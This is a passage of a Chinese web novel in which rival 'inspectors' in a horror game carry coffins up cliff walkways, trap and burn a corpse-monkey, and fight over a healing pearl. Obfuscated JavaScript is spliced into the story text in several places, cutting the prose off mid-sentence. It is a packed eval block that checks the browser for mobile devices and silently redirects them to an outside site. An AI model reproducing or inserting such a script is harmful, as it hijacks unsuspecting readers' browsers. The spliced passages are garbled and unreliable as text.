千年以前,村民们的祖先为了逃避战乱,携带世代相传的宝珠南下,途中经过此地时,发现这颗珠子竟能使他们免除尸化的影响。于是,他们在此建起了棺材村,并将宝珠奉为圣物。 小老头刚讲了一半,黄毛就急不可耐地打断他:“老头,你的意思是,只要我们找到那颗珠子,我们就能恢复,对吗?那颗宝珠现在哪里?” 虽然知道只要出了副本后,尸化就会被系统治愈,但黄毛性子急躁,哪里受得了这种罪。 况且听小老头的叙述,这宝珠可是个好东西。 没准儿,是个稀有级道具。 千金难求。 黄毛垂涎着那颗宝珠,眼珠子滴溜溜直转。 他们组要是能先将这东西抢到手里,既能给组里的人消除尸化,又有了道具加持,战斗力肯定能拔高好几倍。到时候,他们碾压另外一组,借鬼怪的名义弄死齐檎丹,岂不是分分钟的事? 黄毛眼底闪过一抹狠色。 一套套诡计,在黄毛脑海中不断成形,只等小老头告知宝珠的地点,他便会将这些诡计悉数用出,将宝珠据为己有。 然而,小老头却只是往上指了指。 意思不言自明。 “什么?那珠子怎么会在山崖上面?”黄毛惊掉了下巴,难以置信。 小老头却笑笑,说:“四年前,我们村发生了一场大灾难。为了让村子重新恢复生机,我们只好把那颗宝珠带上山崖,镶嵌在棺材村第一任村长的棺木上,希望先祖的魂灵,能够庇佑我们村庄。” 千年以来,这里的水位逐渐降低,摆放悬棺的位置也随着水位,一降再降。 因此,棺材第一任村长的棺材,如今已是所有悬棺中最高的那一批,高居于悬崖峭壁的最顶部。 遥不可及,高不可攀。 苏意虹看了一眼那要命的高度,顿觉眼晕:“所以说,我们要爬到那么高的地方?才能把宝珠拿下来?!”这破破烂烂的栈道,真的能支撑他们爬这么高吗? 就在考察员们质疑取宝珠是否可行的时候,考察系统却突然弹出界面,给他们再上难度。 【考察任务已发布!】 【任务内容:请融入当地殡葬民俗,亲自抬棺,体验悬棺升置,并在安置好棺材之后,找到棺材村的宝珠并将其拿走,缓解尸化。】 【注:本任务为最终任务,不可拒绝。】 否则,不予通关。 34. 峭壁悬棺12 系统发布的这个考察任务,能够被清晰地分为两个部分。 其一是拿到宝珠,解除尸化。这是任务里就算没有要求,考察员们会去做的。所以相比之下,更值得他们注意的是第二个部分,也就是—— 亲自抬棺,体验悬棺升置。 这部分任务其实不难。他们这群人都已经在栈道前了,只需要把棺材抬上去即可。 可是,这棺材从何而来呢? “不就是要棺材吗?这有何难?”小老头乐呵呵地喊岸边的人送棺材,“我们棺材村里的冥器店一抓一大把,少了什么,都不可能少了棺材。” 没过多久,就有冥器店的店家划来竹筏船,把两口棺材送了过来。 “我们抬着棺材,上得去吗?”苏意虹小声嘀咕,“那老头之前跟我们说,一条栈道上不了八个人这么多,但我听说,棺材最少也有百来斤重,我们四个人抬不抬得起来另说,我都害怕会不会超重。” 齐檎丹正举着相机,拍摄当地人用竹筏载着棺材的风土民情。闻言,她拿刚拍下的照片给苏意虹看:“这竹筏船吃水很浅。” 因此,上面的棺材应该没有多重。 苏意虹松了口气:“没想到,那小老头还挺贴心的,居然已经考虑到这点了。” 小老头检查了一下棺材的质量,慢悠悠地说道:“按照我们这儿的惯例啊,一口棺材一般是八个人或者十六个人抬,但现在情况比较特殊,咱们来不及建一条新栈道,你们抬的又是口空棺材,犯不着忌讳这么多,四个人抬也行。” 想了想,小老头又补充道:“上去后,最是要小心山崖上的猴子。那些野猴子生性顽劣,扒开棺材翻陪葬品都是常事,时不时还会装神弄鬼,推一两个棺材下来。” 警惕猴子,是他最首要的告诫。 既然棺材到了,考察员人也在栈道前了,这考察任务就算再不想做,也不得不做了。 附近的栈道有两条,恰好每组一条。虽然起点不同,但是这两条栈道都与五年前放宝珠时建的栈道相连,最终能通向最顶端的那批悬棺。 大概是村民为了取回宝珠,所准备的退路。 栈道之上,凶险重重。赶在上栈道前,齐檎丹先用系统加了组里每个人的联络方式,拉了个临时群组,并趁这个时间,把组里每个人的个人专属技能和擅长方面,大致摸清楚了。 其余三人里,齐檎丹最了解苏意虹。 苏意虹的专属技能叫“化妆术”,本身不具备什么攻击能力,但这技能,能随时将身边的物体变化成替身和武器,苏意虹本人也跑得快。一个“逃”字诀,足以让她躲开绝大多数危险。 邱义、邱勇两兄弟,却有些出乎齐檎丹的意料。 这兄弟俩差异较大。哥哥邱义沉默寡言,小麦色皮肤,善用的大概是飞镖一类的暗器。弟弟邱勇思维跳脱,一副白面书生的样子,使的却是两个长得像生气河豚的狼牙锤。 至于这两兄弟的技能,他们并未透露。能在副本世界里活到现在的人,多少还是有点警惕性在身上的。 不到必要时刻不透底。 不过,齐檎丹并不介意他们的隐瞒。了解到这个层面上,已经足够了。 两组人争一颗宝珠,说白了全是竞速,谁速度快谁就有优势。顾斩风的那组已经出发,齐檎丹也不甘于落后。他们马不停蹄地抬起棺材,踏上栈道,往山崖上走。 然而,才走了一段路,他们立刻感觉到了不对劲。 不对劲的,是棺材。 刚把棺材扛到肩上时,那重量确实挺轻, 可是越走,他们抬着的棺材就越重,到后来甚至沉重得难以忍受。 苏意虹的肩膀被磨破了,血透出衣服,和汗滴混合着直往下砸。她抹了把额头上的汗,停下了脚步:“好端端的,这棺材怎么会变得这么重?要不然,我们在这里歇一会儿吧。” 邱义马上出声制止:“不行!棺材一旦抬起,不得落地。这是禁忌。” 按理说,空棺材无需顾忌那么多。 然而—— 棺材只是此前为空。 现在,却未必。 “砰砰砰砰砰!”棺椁猛烈震动起来,当中突然发出怪异的声响,像是有人在棺材里不断敲击。震得抬棺的他们肩疼手麻。 棺材里,果真有邪物作祟! 尽管对此已有心理准备,但猜测被印证之时,他们心下仍难免心惊。 这棺材里什么时候进了东西? 他们怎么不知道?! 齐檎丹心里一沉:“棺材是全新的,棺材板没来得及封死,我们又因为一直抬着棺材,没办法留意棺材的动静。所以,肯定是在我们抬棺材上栈道之后,山崖上才有‘东西’进去的。” 放满棺材的山崖上,能有什么好东西?不管这个棺材里的“东西”是什么,肯定有问题。 他们得把它逼出来。 “砰砰砰砰!”棺材内,那“东西”闹腾的动静越来越大,声音震耳欲聋。 齐檎丹咬牙扛住重量剧增的棺材,掀起眼帘,艰难往上看去——只不过这几下震动之后,棺材与棺盖之间,竟被撑开了一道细细的缝隙。 缝隙内黑影攒动,昏暗中,闪过一双幽冷阴森的眼。 齐檎丹心头一紧。 不知是紧张,还是兴奋。 眼见棺盖下的缝隙越来越大,邱义默默取出数枚飞镖暗器,攥进掌心,做好进攻准备。与之同时,他余光瞥见,齐檎丹同样点开了考察员的个人面板,正在系统背包里翻找着。 组长应该是在找攻击道具,准备趁黑影冒头的时候,将它一击毙命吧。邱义猜测。 这么看来,这个组长似乎还算靠谱。 虽然他们兄弟是为了报恩而来,但事关生死存亡,他们自然希望跟随的人可以明智一些。 邱义满意地微微颔首,刚想挪开视线,就见齐檎丹在系统背包内一通左翻翻,右找找,精挑细选以后,从系统背包里珍视地取出了—— 一个相机。 邱义:“???” 这年头,连相机也能攻击了? 是他没跟上时代吗? 邱义正诧异间,棺材里的“东西”突然消停了一阵,紧接着,沉重的棺盖被猛然顶起,一个包裹在漆黑乱发里的脑袋探出了棺材。阴沉沉的两只眼睛,恰好与苏意虹的对上。 顿时,苏意虹只觉得全身的血液都凝固了。 长发!好多好多的长发! 干枯的,毛糙的,像无数细蛇一样蜿蜒的长发,如活物一般,在苏意虹面前扭动游走。塞满视野,充斥棺中,几乎连前方那两只眼睛都一并挡住…… 苏意虹握在抬棺杠子上的手,不自觉地攥紧,指甲深深抠进棺材中,被木刺扎出了血,她却浑然不觉。 直面鬼怪的恐惧,擢住了她。 “嗖嗖嗖——” 一连三枚飞镖破风而来。 邱义目标明确,直攻棺中鬼怪。 殊不料,这鬼怪的行动速度,竟比飞镖还要快。 鬼怪闪身躲过两枚飞镖,便灵敏地抓着棺盖往下一缩。即便邱义的最后一枚飞镖,也只擦着那鬼怪的脸庞飞过,在斩断了一缕发丝后,棺材盖被重新合上。 飞镖偏离目标对象,头部的尖刺“叮”一声刺进岩石。 三枚飞镖,无一命中。 直至那怪物重新躲回棺材里,苏意虹被封印在嗓子眼里的惊叫,才终于爆发:“天呐!有女鬼!” “是鬼?”邱义皱着眉头,“你看清了吗?” 这里全是悬棺,鬼有自己的棺材,为什么要到他们的棺材里?串门吗? 苏意虹原本对自己的答案无比笃定,被邱义这么一问,却忍不住开始怀疑自我:“可能没那么清楚,棺材里太黑了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是死人头发,尸体腐烂之后剩下来的。”邱义检查了一番后,说道,“应该是那只尸化猴子在皮毛脱落之后,为了遮羞,从特地棺材中取来。” 看来,这个山崖上的猴子,确实有翻棺材的通病。 得不到想要的东西,它不会离开。 “让这只猴子逃过了第一次,之后有了戒心,再想杀它恐怕就难了。”弟弟邱勇心情沉重。 他试着从背包里取出狼牙锤,可沉重的狼牙锤一拿出来,脚下的栈道木板就发出不堪重负的“吱呀”声。 他只得将武器收了回去。 栈道上空间小,栈道的承受力低,他们又不得不抬着棺材,手和肩膀备受局限。弟弟邱勇的狼牙锤即便看起来再威风,也派不上用场。 哥哥邱义也是连连叹气:“这猴子躲得太灵活了,我的飞镖也难以伤它。要杀它,我们除非先毁了棺材。” 但毁掉棺材,他们还怎么完成任务? 棺材绝不能毁。 他们只能把猴子引出来。 但,拿什么引? 齐檎丹若有所思:“我一直不理解一件事,猴子为什么要来悬棺这里?” 野生动物主动造访人类领地,通常是为了觅食。可这山上并不缺水果,棺材内外又不可能有充沛的食物,猴子那么费劲地到棺材里,图的是什么? 只为了点遮羞的头发,苦哈哈地撬棺材,这划算吗? 好歹是鬼怪,不能傻到这个地步吧。 照片已经被传看一圈,重新回到了齐檎丹手里。她拿着照片,看了又看:“冥器店那小老头告诉我们说,这些猴子最喜欢翻人的陪葬品。陪葬品里有什么?它们想要找什么?” 邱义:“陪葬品除了死者生前喜欢的东西,还会放些金银珠宝。” 这句话提醒了齐檎丹。 齐檎丹眸子一凝,看向照片的目光,一下子变得目标清晰:“我懂了。” 这一次,齐檎丹看向照片的时间短暂得出奇。很快,她就放下照片,迅速地点开系统背包界面,在背包里开始了新一轮翻找。 她很清楚自己要找什么,也很清楚自己背包里必定有这样一件东西。 而拿这个东西,对付猴子—— 绝对有用! 35. 峭壁悬棺13 “啊?我们要用金银珠宝来吸引猴子吗?”苏意虹也低下头,慌忙查看起系统背包,“虽然但是……金银珠宝什么的,我们可没有带啊。” “放心,我们不需要那些。”齐檎丹摇摇头,阻止了她。 金银珠宝,齐檎丹确实没有。 但金色的东西,她有。 而且,这个金色的物品,就在摄影师拍摄必备的用具里。 在摄影圈几乎人手一个的反光板,由外层可拆卸的锡箔纸,和内里的一层圆形白布构成。锡箔纸有两面,一面是最常用的银白,一面则是金色。论色彩,正对那些猴子的胃口。 齐檎丹以最快速度,将锡箔纸金色的一面翻出来,给反光板套上。 金色锡箔纸反射着阳光,灿烂闪耀。 若不靠近细看,当真如同一大块闪亮晃眼的金箔。 这吸引力,够了。 齐檎丹故意手持反光板,接住阳光,将那金灿灿的光线反射到棺材上面,在那尸化野猴的眼前不断挑.逗晃动。 在金光的诱惑下,那猴子果然中计。 那只野猴双眼都被勾得发了红,它两腿一蹬,撑开棺盖,主动跳出,两只皮肉腐败的胳膊同时伸长,向齐檎丹手里的金色反光板抓去。 只在这一瞬间,棺材重新变回空棺。 齐檎丹骤地拔高声调:“就是现在,闪开!!!” 众人齐齐松开抬棺材的杠子,火速往外撤退,重归于空的棺材稳稳落地。 野猴的动作过于迅猛灵活,伸臂来抢的时候,齐檎丹根本来不及带着反光板逃跑。眼见野猴子的利爪越来越近,眨眼间就要得逞,齐檎丹灵机一动,将反光板往旁边抛去。 苏意虹手忙脚乱地接了,不等巨猴调转方向冲来,便赶忙将反光板丢给下一个人。 一个传一个,活像在玩抛接游戏。 把尸化野猴耍得团团转。 当反光板传到哥哥邱义手上的那一刻,邱义首先飞起一脚,猛力踹在空棺材上,将空棺材踢进了崖壁上一个天然形成的洞穴里。 这样,也算是悬棺安置里的天然洞穴式了。 【滴!悬棺升置体验已完成。】 【任务完成进度:50%】 棺材才入洞中,被一群人耍得焦躁无比的野猴,已然龇牙咧嘴地向他冲了过来。它不仅要反光板,还要伤人。 “接着!”邱义对弟弟高声喊道。 他抓稳反光板,将金色反光板向弟弟抛了过去。 弟弟邱勇一把接过,即刻抡起精装有力的手臂,将金色反光板扔进故意没关严实的棺材里。那野猴两个眼睛恨不得钉在反光板上,见状,它紧随其后,跳进棺中。 说时迟那时快,等在边上的苏意虹猝然合上棺盖。 将野猴死死关在里头。 “让开。”齐檎丹擦亮了一根火柴,对摁住棺盖的苏意虹说。 她将火柴往棺材上丢去。 这盒火柴,是齐檎丹刚刚从系统商城里兑换的,只要一积分,极其廉价,质量也极其符合这个价格。 在巨大坚固的棺材面前,区区一根细瘦便宜的火柴,被衬托得柔弱不堪。火柴最顶上的那一点火苗,更是微不足道,不仔细看甚至看不清。 这能烧得起来吗? 烧不起来,那不就前功尽弃了? 火柴和棺材之间不止千百倍的巨大差距,引来了直播间里的讥讽。不止齐檎丹的考察直播里嘲弄声一片,同组其他人的直播间里,也有人等着看乐子。 “就一根火柴而已,烧得了什么呀?” “她该不会以为,这么点火星子,就能烧死猴子吧?哈哈哈太异想天开了。” “就这,她还让苏意虹走开,是真不怕没人摁着棺盖,会让那猴子跑出来攻击他们啊。要是顾大佬在这儿,肯定不会犯这样的笑话。” …… 然而,当火柴那点微弱的火星,转瞬在棺材上烧成熊熊烈火时,弹幕上这些讥刺之语,瞬间被烧得干干净净。 谁都没想到,这棺材竟一点即燃。 且燃烧得无比迅速。 从有人质疑到完成打脸,中间的间隔时间,甚至不到一分钟。 烈火中,蛋白质烧焦的糊味弥漫开来,棺材中的尸化野猴发出凄惨的尖叫,跟棺材一起被烧成了灰烬。方才嘲讽过齐檎丹的观众们脸上火辣辣的,恨不得把之前发出去的言论一键撤回。 连听火星子爆开的“噼啪”声,他们都像是在听自己脸上挨大耳刮子的脆响。 真脸打得,真快!真响! 也是真疼啊! 但,即便脸上生疼,守在直播间里的那些人却舍不得离开。 他们是真的很想知道,这么小的火柴,是怎么迅速点燃一整个棺材的?要知道,大块的木头可没有碎纸木屑之类的引燃物那么好烧,何况是如此庞大的棺材。这也太稀奇,太不符合常理了。 难道,齐檎丹在棺材上动了什么手脚? 可她时间也不够啊。 这说不通。 跟直播间里的观众同样好奇的,还有兄弟俩里的弟弟邱勇。他从山崖上折了根树枝,到灰堆里翻了一会儿,惊讶道:“是纸灰,这棺材居然是纸扎的。你是怎么知道的?” 齐檎丹笑笑:“要真是木头做的棺材,能有这么轻吗?” 即便他们抬的只是小号棺材,长和宽也分别有1.5米和0.6米,高差不多0.4米,如果全是用木头做的,就算是空棺材,也不可能那么轻。 至于想到纸扎,齐檎丹其实是受了刚进这副本时,那辆旅游大巴上的纸扎驾驶座的启发。 纸扎的驾驶座一直在那里。 但是,起初却没有一个人发现问题。 大巴车上的纸扎说明,这个副本里,高仿真的纸扎足以伪装成真实事物。驾驶座非鬼魂不能操作,而纸扎棺材,只需要被抬着就行,更不容易被识破。 【再次解锁剧情!奖励积分+100】 【剧情解锁度:15%】 看着又多了5%的剧情解锁度,齐檎丹沉下眼眸。 死亡腐烂的猴子能活动,纸扎物品与真实的几乎无异,死人能假装成活人……这个副本,实在是很有意思。她突然很感兴趣,当作为副本核心的剧情故事,被全部揭开之后,呈现在他们眼前的,会是什么样的真相? 当然,如果副本里的鬼怪能好看一点,她一定会更感兴趣。 齐檎丹虔诚许愿。 这群丑得奇形怪状,没有一个在她审美点上的鬼怪,真的太挫伤她拍照和通关的积极性了。 确认野猴已烧焦碳化后,邱义说:“我们的任务已经完成一半了,还剩下另外一半。考虑到我们的对手里有顾斩风这个大敌,我们必须尽快找到第一任村长的棺材。” 邱义把短袖往上掀了掀,齐檎丹看见,他的整条左胳膊全都已经尸化变色了。 其他人也是一样。 齐檎丹暗暗心惊。也许,当尸化彻底完成之后,他们都会变得跟那只尸化野猴一样,被变成一具会行动的尸体。 对于惯用右手使暗器的邱义,丧失左手活动能力的影响,可能还不是很大。但是对他擅长使双手锤的弟弟邱勇,这俨然是极大的打击。 他很需要那颗宝珠,来解除尸化。 而且,为了不受制于人,他们必须赶在顾斩风那组之前,拿到宝珠。 “我们没多少时间了。”邱义说。 短暂休整后,齐檎丹就马不停蹄地带着全组再次出发。齐檎丹不想输,更不想输给顾斩风。 更何况,这次输赢关系全组人的安危。 她绝不能轻视。 不一会儿,他们就走完了这条新建的栈道,新栈道的终点,连接着一条老栈道。 老栈道的铁链早在风雨侵蚀中生了锈,却没有被拆除。只因为,这条老栈道通往的,正是山崖最顶端的那一批悬棺—— 第一任村长的棺材,便在其中。 老栈道老化的程度更加严重,人在上面行走的风险不可估量。好在有经验丰富的邱义投石问路,帮忙试探出了可以下脚的木板,他们才艰难地登上第一批安置悬棺的高度。 然而,齐檎丹很快发现了另一个问题。 第一批悬棺少说也有上百个,但他们并不知道第一任村长的棺材究竟在哪儿,周围也没有任何指示标志。 除了一个个找过去,别无他法。 面对数量惊人的悬棺,和错综复杂的栈道,齐檎丹果断提议:“分头找吧。谁先找到了,就在群里联系。” 兵分几路是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那三个队员一路懒散惯了,哪里甘愿被命令,他们眼睛一瞪,刚要有意见,却被顾斩风冷冽的目光冰了一下。 他们打了个冷噤,意识到顾斩风无声的警示。 受这场输赢影响最大的,不是顾斩风。 而是他们。 顾斩风的实力摆在那里,再怎么遇到鬼怪都有能够化险为夷的底牌,可他们一旦输了,就会陷入险境,难以脱身。 认识到自身的真实处境之后,这些人终于不情不愿地动了起来。其中两个组员很快离开,去检查他们各自负责区域内的悬棺了,然而黄毛却迟迟不走。 黄毛甚至往前走了一步,离顾斩风更挨近了一些。 “我知道有个地方,可能有棺材村第一任村长的悬棺。”黄毛神秘兮兮地往一个岔道上指了指,但问起理由,他却支支吾吾说不清楚。 顾斩风眸光一霎变得犀利。 那双冷然的眼,似乎穿透了黄毛的灵魂,看清了底下隐藏的龌龊与不堪。 黄毛突然感觉到畏惧。哪怕顾斩风一句话也没有说,他却产生了一种被大型肉食猛兽盯上的错觉,背后不受控制地冒出了一层冷汗。 如果说齐檎丹是张牙舞爪的狮子,那顾斩风就是冰原上独行的雪豹。 沉默寡言,但威压逼人。 只是这么逼视着,便令他连灵魂都忍不住匍匐颤栗。 正当黄毛内心忐忑,以为他的计划就要全线崩盘的时候,顾斩风却突然放弃了对他的审视,转身按照他所说的方向走去。 黄毛瞬间转忧为喜。 他蹑手蹑脚,偷偷跟了上去。 因为,黄毛所指的方向不是别的,正是他无意间看到齐檎丹的方向。 望向顾斩风远去的背影,黄毛心中暗暗窃喜。经过副本里这段时间的观察,黄毛已经意识到,齐檎丹虽说只是新人,却没他原本想的那么好对付,他奈何不了。但,他可以借刀杀人。 反正顾斩风估计也看不上齐檎丹的道具,就算两人没发现宝珠,等齐檎丹死后,他也能将齐檎丹的道具和积分据为己有。 当然,能发现宝珠的下落自然更好。 黄毛贪心地想象。 如此一来,等齐檎丹和顾斩风斗得两败俱伤,精疲力尽之时,他就能趁机盗取宝珠,坐收渔翁之利了。 不管怎么样,他都是得利者。 得来全不费功夫。 36. 峭壁悬棺14 齐檎丹之所以选择沿着这条岔道走,是因为几声猿啼。 深谷中猿声萧瑟,回荡不止。 却让齐檎丹一眼从许多条岔道当中,认定了这条。 既然,尸化野猴会主动找上他们的空棺材,大概说明山上幸存的未被它们“洗劫”悬棺或许不多。某种程度上,它们的出现,或许能够指示棺材的方向。 尤其是村长悬棺的方向。 不仅因为棺材村的村民们,会尽最大努力阻止这个悬棺被野猴开启。更因为上面能解除尸化的宝珠,既符合了猴子对金银珠宝的喜爱,也是尸化野猴群恢复正常的希望。 被尸化的人类需要棺材上的宝珠,被尸化的猴子自然也需要。 栈道的木板在风化下变得脆弱,一踩在上面,便“嘎吱”作响。齐檎丹不得不放轻脚步,先从临近的石壁上找到能够分担重量的抓手后,才能将身子紧贴着石壁,缓缓前行。 这老旧的栈道,让她每一步都小心翼翼,如履薄冰。然而,恰恰正是这样的栈道,让她及时察觉到了身后的脚步声。 有人在跟踪她? 齐檎丹心弦猛然绷紧。 她留了个心眼,故意调整脚步的快慢,以作试探,后面那人却没有跟着调整。 不担心被发现?那应该不是冲着她来的。 但,那人的目标和她一样。 都是村长悬棺。 突然间多了一个同路的竞争对手,齐檎丹忍不住有几分危机感。 然而一路走到现在,前头的栈道已基本没有分岔,不方便将人甩脱,她只能假作不知,继续前行。 越往前走,山岩间跳跃的尸化野猴就出现得越发频繁。齐檎丹更加笃定了村长悬棺所在的方位,她追寻着这些猴子的身影,来到一个隐蔽的洞穴前。 洞穴前的地面上,印着许多猿猴的脚印。 是这里了! 齐檎丹闪身进洞,只见这个天然形成的溶洞洞口虽小,里面却别有洞天。 各色各样陪葬品堆满洞中,绝大多数是稀世的玉石珠宝,人目不暇接。然而,齐檎丹却被另外一物夺去了注意,连看都没有看这些珍贵的陪葬品一眼—— 恰如小老头所说,洞穴最正中的棺材上,镶嵌一颗流光溢彩的明珠。 那明珠足有拳头大小,光彩夺目。 吸睛异常。 更重要的是,齐檎丹只是靠近了那颗珠子片刻,她因尸化而僵硬的左手,居然恢复知觉,能够活动了。 这珠子对治疗尸化果然有用! 齐檎丹精神一振。 她得把它尽快撬下来,带回去治疗她的组员们。 可惜事与愿违,现实并没有给到齐檎丹足够多的撬宝珠的时间。齐檎丹才从背包里取出了木刻小刀,便听得洞穴外的脚步声逐渐清晰。走在她后面的那人,已然接近。 来不及撬这颗宝珠了,齐檎丹按照约定给组员们发去消息,随后迅速躲到洞穴入口旁,屏住呼吸降低存在感,同时将木刻小刀紧攥进手心。 她默默数着脚步,计算着那人到来的时间。 “……三,二,一。” 倒计时结束。 那人的脚步刚一迈进洞穴,齐檎丹立刻持刀刺去。 那人却早有防备。木刀尚未近身,已被他抬起的右手肘一下挡开。顾斩风飞快地制住齐檎丹的攻势,紧接着猛一反手,将她的右手腕牢牢擒进掌心。 齐檎丹的手腕骨骼纤细,顾斩风一只手就能轻松握住。顾斩风原以为,这样就能让齐檎丹消停下来。 然而,他显然低估了齐檎丹。 齐檎丹瞳孔微微缩紧,饶有兴味地舔了下唇角:“顾斩风,原来是你。” 多有意思啊,她一个新人能有机会跟顾斩风打架。她赢了,是顾斩风丢脸;她输了,是顾斩风胜之不武。不管什么结局,她都能在风评上占尽便宜,想想就令人兴奋。 右手被捉住,齐檎丹便顺势将右手一松。失去握力,木刻小刀从右掌心中自然滑脱—— 却在下一刻,被她左手稳稳接住。 刀刃调整角度,在幽暗里旋过一刃银光,不过瞬息之间,刀锋再次以刁钻的角度,重新刺向顾斩风心口。 毒蛇出动一般迅猛。 心脏乃是人体要害,即便顾斩风明知考察员彼此不能相杀,无意跟她打斗纠缠,也被这锋芒逼得下意识退了半步。 这一退,就退出了洞口。 正中齐檎丹下怀。 她抓准时机,将足尖伸到那栈道木板的接缝处,一勾再一踢,精准把顾斩风脚下的那块木板撬起,往万丈悬崖下踢。 怎料,顾斩风对她的动向早有提防。只在她踢向木板的前一刻,顾斩风往旁边迅速挪步,站到了木板旁的铁链上。 不仅顾斩风本人毫发无伤,还因为他拽着齐檎丹的手腕,害齐檎丹险些失去平衡。 失算了。 齐檎丹被气得狠狠磨牙。 铁链是构成栈道主体的重要部分。铺在上面的木板她抽得掉,但铁链,她不行。 还不等齐檎丹想好下一步要怎么做,顾斩风已凝眸看向了她恢复知觉的左手,目光意味深长。 如果说,顾斩风原先对这里是否有宝珠,还存有几分怀疑的话,齐檎丹现下的阻拦与她恢复的左手,无疑让这个位置准确无误的概率,瞬间提升到了百分之百。 这个洞穴,顾斩风必须进去。 但这么做意味着,他得先解决洞口这个难缠的齐檎丹。 由于两人距离贴得太近,风刃技能使用不易,顾斩风直接换了把匕首作为武器。 “铛——” 冷铁撞上木刀。 再坚硬的木材,也被划出一道深深的刻痕。 齐檎丹被震得虎口一麻,木刻小刀险些脱手,她没忍住在心里爆了句粗口。 靠!这人什么力气?! 这力气,比她看求生综艺时想象的还大。 看来早进副本还是有好处的,顾斩风的力气这么大,估计是在九死一生的环境里练出来的。齐檎丹咬牙艰难抵御,一边居然还能分出心神胡思乱想。 念头一晃而过之后,齐檎丹挥刀,再次迎了上去。 战况激烈,考察系统几乎被他们两个吓破了胆,警报声扯着嗓子“滴滴滴”狂响,一声比一声尖锐高亢。“严禁杀害考察员”的弹窗警告更是接连飞出,几乎铺满了整个视野。 即便齐檎丹已经尽了最大的努力,但她没受过格斗训练,也没经历过多少副本的考验,这是事实。几次交锋过后,齐檎丹逐渐落于下风。 顾斩风凭借绝对的力量优势,将齐檎丹生生逼得退回到洞中。 他自己也跟了进来。 进洞的那一霎那,宝珠散发的粲然华光,立刻闯入了顾斩风的视线。 “果然在这里。”顾斩风眼底深邃。 眼见到手的宝珠就要拱手让人,齐檎丹暗道不好,忙要上前阻拦。哪知,她还没走出半步,右手腕却骤然一凉,耳边传来“咔”一声脆响。 齐檎丹扭头一看,顿时傻了眼。 顾斩风竟然把她拷在了洞穴内的石柱上。 那根石柱好巧不巧,是由溶洞里随处可见的石钟乳和石笋连接而成,最细处正好能拿来拷手铐。而那手铐一看便知是系统商城出品,银光锃亮,牢固结实。 齐檎丹用力挣扎了两下,手铐纹丝不动,倒是把她的表皮给磨红磨破了。 可恶!太可恶了! 更可恶的还在后头。顾斩风仗着齐檎丹被手铐拷住,拿他没办法,于是慢条斯理地拿起匕首,变换着角度,一点一点开始撬那颗宝珠。 那颗宝珠滚圆漂亮,顾斩风每撬一下,宝珠的角度就变换一分,将光彩带得如水波般流转。 看得齐檎丹牙根痒痒。 这里明明是她先发现的。要不是顾斩风突然横插一脚,这颗宝珠本该归她所有。 不甘心的情绪涌上舌根,齐檎丹暗自思索着脱困之法。就在这期间,她察觉到了洞穴内的异动。 溶洞的石壁上,不知何时多了一个小孔。孔中,偷摸着伸进一根长长的树枝,树枝末梢连接着铁钩,跟钓鱼似的,勾起洞内昂贵的珠宝陪葬品,就往外拿。 而且越拿越嚣张,越偷越胆大。 几次过后,那根树枝甚至往洞穴角落的阴影里伸了伸。 当树枝尖端的铁钩,刺到那阴影上的同时,那一大块阴影竟猝然颤动了一下。紧接着,一张恐怖的血盆大口从阴影上裂开,从巨口深处,发出了一声震天动地的咆哮。 这声咆哮的能量极其可怕。 那一瞬间,齐檎丹感觉洞穴里外都在随之震动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958694|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 咆哮掀起的声浪,打得洞穴顶上的灰土和碎石,簌簌往下掉,外面偷陪葬品的人也吓得丢了树枝。尘埃弥漫中,齐檎丹猛然惊觉,这块黑色并非阴影,而是大型动物漆黑的皮毛。 齐檎丹顿觉骇然。 她进入洞穴这么久,竟然到现在才发现这只怪物。 这一只庞然大物,模样与他们在栈道上遇到过的尸化野猴十分类似,却比那些野猴足足大了好几倍,如小山丘一般,占据了洞穴的大半空间。这非同一般的体型大小,俨然是猴群中的猴王。 和其他猴子相比,这只猴王的尸化程度并不严重,肌肉强壮虬结,皮毛完整油亮。 先前齐檎丹之所以没有察觉到它的存在,是因为它一直在酣然沉睡。而今,外头那个偷盗者不知死活地将它惊动,受罪的,却是齐檎丹跟顾斩风这两个洞穴里的人。 齐檎丹有预感。 一旦这猴王彻底醒来,他们的处境将变得极其危险。 这么巨大的猴子实属罕见,齐檎丹有点想拿出相机拍照,但被拷住的右手阻碍了她的行动,求生的本能更是不断催促着齐檎丹—— 要想活命,她必须赶在猴王醒来之前,尽快出洞。 可解开手铐的钥匙,在顾斩风那边。 齐檎丹抬眸看去。 宝珠在棺材盖上镶嵌得很深,不容易撬动,顾斩风撬宝珠的进展才堪堪接近尾声。 顾斩风手上取宝珠的动作没停,身子和脚尖却已经朝洞口转向。看样子,他打算一拿到宝珠就走,根本没准备过来给齐檎丹解开手铐。 可恶!这个冷酷无情的男人! 齐檎丹恶狠狠地剜了顾斩风一眼。 想要把她一个人扔在洞里,喂给尸化猴王做午餐?门都没有! 齐檎丹眼珠一转,计上心头。顾斩风不在意她的死活没事,她自然有办法让他不得不在意。 “顾斩风,你不是很好奇,我为什么会知道你的那些信息吗?你们是不是以为,只要删掉网上那些痕迹,就能从此瞒天过海,一劳永逸了?”齐檎丹故意拔高声调,朝顾斩风喊道,完全不怕声音加快猴王醒转的速度: “我要跟你说的是,我不仅知道你的,还知道你那些固定队友的。” 顾斩风撬宝珠的匕首微顿。 他冷冷抬眼。 “有些东西是藏不住的,但是散播出去却很容易。”齐檎丹勾着唇角,“你觉得,我要是在这里把你想藏的东西都说出去,会有多少人听到呢?” 绝壁之上荒无人烟,因此她说的,是在看直播的观众。她直播间里的观众还不算,顾斩风的直播间里的那些观众,数量才最惊人。 两个考察员直播间的在线人数加起来,少说也有几十万人吧? 